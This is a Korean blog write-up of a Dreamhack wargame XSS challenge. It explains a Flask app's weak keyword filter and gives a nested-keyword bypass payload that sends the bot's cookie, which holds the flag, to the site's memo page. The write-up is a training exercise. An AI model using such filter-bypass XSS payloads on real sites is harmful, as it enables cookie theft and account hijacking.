본문 바로가기

드림핵

[드림핵 워게임] XSS Filtering Bypass

<문제>

 

 

<풀이>

1. 사이트 및 코드 확인

문제 사이트에 처음 접속하면 보이는 페이지이다.

 

먼저 vuln page에 들어가봤다.

param 파라미터를 바꿔보고 싶다.

 

xss 문제니까 일단 가장 단순한 형태의 xss 페이로드를 보내본다.

될 리가 없다.

 

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

vuln 함수에서 xss_filter() 함수를 호출하고 있는데,

 

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

xss_filter() 함수에서 script, on, javascript: 라는 키워드를 필터링하고 있기 때문이다.

그런데 53행을 보면 해당 키워드를 ""로 치환하고 있으므로 우회하기 쉽다.

 

예를 들어,

"script" → ""로 치환되니까

"scscriptript" → "script"로 치환된다.

 

script 대신 scscriptript로 바꿔 페이로드를 보내보니 xss 공격이 먹힌다.

 

 

이제 플래그를 출력하는 부분에 대해 살펴보자.

 

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

/flag에 대한 부분의 코드를 보면

74행에서 check_xss() 함수를 호출할 때 FLAG를 매개변수로 보내는 것을 확인할 수 있다.

 

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

check_xss() 함수에서는 read_url() 함수를 호출한다.

 

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

read_url() 함수에서는 사용자가 flag페이지에 입력한 값으로 구성한 url로 요청을 보내는데,

그 전에 http://127.0.0.1:8000/에 방문해서 쿠키를 추가한다.

이 쿠키에 FLAG가 들어있으니 쿠키를 출력하는 페이로드를 보내면 FLAG를 볼 수 있을 것이다.

 

 

 

2. 익스플로잇

flag 페이지이다.

여기에 XSS 공격 페이로드를 입력할 것이다.

 

memo 페이지이다.

 

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

코드로 확인해보면

memo 파라미터에 입력된 값이 memo_text에 추가되어 memo.html을 렌더링할 때 출력되는 것을 알 수 있다.

 

memo 파라미터에 hello 라는 문자열 대신 쿠키에 들어있는 값을 전달하면

memo페이지에서 쿠키 값을 볼 수 있을 것이다.

 

따라서 flag 페이지에서 입력할 페이로드는 다음과 같다.

<script>location.href="/memo?memo="+document.cookie</script>

 

페이로드를 분석해보면,

<script></script>는 XSS 공격 시 많이 사용되는 태그로, 태그 사이에 들어있는 내용은 자바스크립트 코드로 인식된다.

location.href는 자바스크립트에서 현재 페이지의 url을 나타내는 속성이다.

location.href에 현재 페이지의 url이 아닌 다른 url을 입력하면 그 url로 리다이렉션(해당 url로 이동)한다.

document.cookie는 자바스크립트에서 현재 페이지의 쿠키를 나타내는 프로퍼티이다.

 

그러나 이 페이로드를 그대로 입력하면 공격이 먹히지 않는다.

xss_filter() 함수가 있기 때문이다.

따라서 <scscriptript>locatioonn.href="memo?memo="+document.cookie</scscriptript>

이렇게 필터링을 우회한 페이로드를 보낼 것이다.

 

flag 페이지에서 페이로드를 입력했다.

 

값을 입력하면 good이 뜬다.

정상적으로 처리된 것을 확인할 수 있다.

 

3. FLAG 획득

 

memo 페이지에서 출력된 flag를 확인할 수 있다.